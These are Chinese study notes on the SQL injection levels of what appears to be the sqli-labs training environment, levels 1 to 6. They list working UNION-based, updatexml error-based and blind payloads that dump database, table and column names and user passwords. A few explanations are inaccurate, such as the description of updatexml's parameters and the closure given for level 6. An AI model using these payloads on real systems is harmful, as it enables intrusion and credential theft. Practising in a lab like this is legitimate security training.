SQL注入
1.查看类型
如果是字符型注入 我们可以输入?id=1\ 弹出的
near ''1') LIMIT 0,1 报错类 型为')
near ''1')) LIMIT 0,1 报错类型为'))
切在变为?id=1\--+后恢复正常则可以判断类型
2.id=1和id=-1的区别
-
-
id=1
:这个条件通常用于查找数据库中id
列值为1
的记录。在大多数数据库中,id
通常用作主键,每个记录都有一个唯一的id
值。因此,这个查询很可能返回数据库中id
为1
的那条记录。这部分输入首先提供了一个无效的查询条件(
-1
通常不是一个有效的id
值,假设id
应该是正数),并且闭合了原始查询中可能存在的单引号。这通常会导致原始查询返回空结果集,为后续的UNION
操作做准备。 -
id=-1
:这个条件用于查找id
列值为-1
的记录。由于-1
不是一个通常用作主键的值(主键通常是从正整数开始的),这个查询可能不会返回任何结果,除非数据库中确实存在id
为-1
的记录。
-
-
查询结果:
-
使用
id=1
作为条件的查询很可能会返回一条具体的记录,前提是数据库中存在id
为1
的记录。 -
使用
id=-1
作为条件的查询则可能不会返回任何记录,因为-1
通常不会是有效的主键值。
-
在SQL注入的上下文中,使用 id=-1
可能是出于以下原因:
-
避免返回真实数据 :攻击者可能故意使用一个不可能的
id
值(如-1
),以确保原始查询不会返回任何真实的数据。这样做可以为后续的UNION
操作清理结果集,使得注入的数据更容易被识别。使用union语句就需要id=-1
3.union语句
?id=-1'
union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
相当于 select * from student union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
?id=-1为 select * from student部分 主要与后面割裂
第一关
判断为字符 ' 型注入
1.手工查询有多少栏目
?id=1' order by 2--+
发现3的时候可以,4的时候不可以,说明有3列
2.显示报错位
?id=-1' union select 1,2,3 --+
当union前面的语句为false,才会执行后面语句
3.爆库名
?id=-1' union select 1,database(),3 --+
database()为函数 可以看到该数据库
4.爆表名
?id=-1'
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
group_concat(table_name)
是一个SQL函数,它将 information_schema.tables
表中所有 table_name
列的值连接成一个字符串。
5.爆列名
?id=-1'
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
6.爆数据
?id=-1'
union select 1,group_concat(username),group_concat(password) from users --+
优化排版
?id=-1'
union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
-
0x3a
是十六进制编码的冒号字符:
-
0x3C,0x68,0x72,0x2F,0x3E
是十六进制编码的字符串</hr>
,它看起来像是HTML标签</hr>
,但实际上<hr>
是不正确的HTML标签(应该是<hr/>
或<hr>
)。这可能是一个错误,或者攻击者可能有其他目的。
2---4关只有闭合方式不同 公式同上
第5关
1.?id=1\ 判断是字符型注入 且为 ' 闭合
2.判断注入点
?id=1' and 1=1 --+
注入点判断:
-
您输入的
?id=1' and 1=1 --+
是一个典型的测试语句,用于检查注入点是否对SQL逻辑产生影响。因为1=1
是一个永真条件,如果页面在输入这个条件后显示 "You are in...",则意味着注入点存在,并且您可以通过改变条件来控制SQL逻辑。 -
但是,由于页面没有回显,您可能需要尝试其他方法来确认注入点。
基于布尔值的盲注:
-
因为页面没有直接回显数据库信息,您需要根据页面内容的变化来判断注入是否成功。
-
尝试使用不同的逻辑条件,例如:
-
?id=1' and 1=2 --+
:如果页面不显示 "You are in...",则表示注入点可能存在,因为1=2
是一个永假条件,应当导致原始查询失败。 -
?id=1' and '1'='1
:这是一个永真条件,如果页面显示 "You are in...",则表示注入点存在。 -
?id=1' and '1'='2
:这是一个永假条件,如果页面不显示 "You are in...",则进一步确认注入点存在。
-
3.爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
-
?id=1'
:这部分输入闭合了原始查询中可能存在的单引号,并提供了初始的查询条件。 -
and
:这是一个逻辑运算符,用于在原始查询的基础上添加额外的条件。 -
updatexml()
:这是MySQL数据库中的一个函数,用于更新XML文档中的内容。它的三个参数分别是:-
第一个参数:XML文档的路径。
-
第二个参数:要更新的内容。
-
第三个参数:可选,表示更新的内容类型。
-
-
concat(0x7e,(database()),0x7e)
:这是一个concat()
函数,用于连接字符串。在这个例子中,它连接了以下三个部分:-
0x7e
:这是十六进制编码的波浪号字符~
。 -
(database())
:这是MySQL的database()
函数,返回当前数据库的名称。 -
0x7e
:又是十六进制编码的波浪号字符~
。
-
-
--+
:这是SQL注释符号,用于注释掉原始查询中可能存在的任何后续代码,以防止语法错误。
updatexml()` 函数可能需要特定的权限才能执行。
因此,这种攻击方法通常只能在特定条件下成功,例如在渗透测试或教学环境中。在真实环境中,攻击者可能需要使用更复杂或不同的方法来利用SQL注入漏洞。
2.爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
③爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
4.爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
第6关
1.?id=1\ 判断是字符型注入 且为 '' 闭合
2.判断数据库长度
?id=1" and length(database())<8
?id=1" and length(database())<9
所以库名长度=8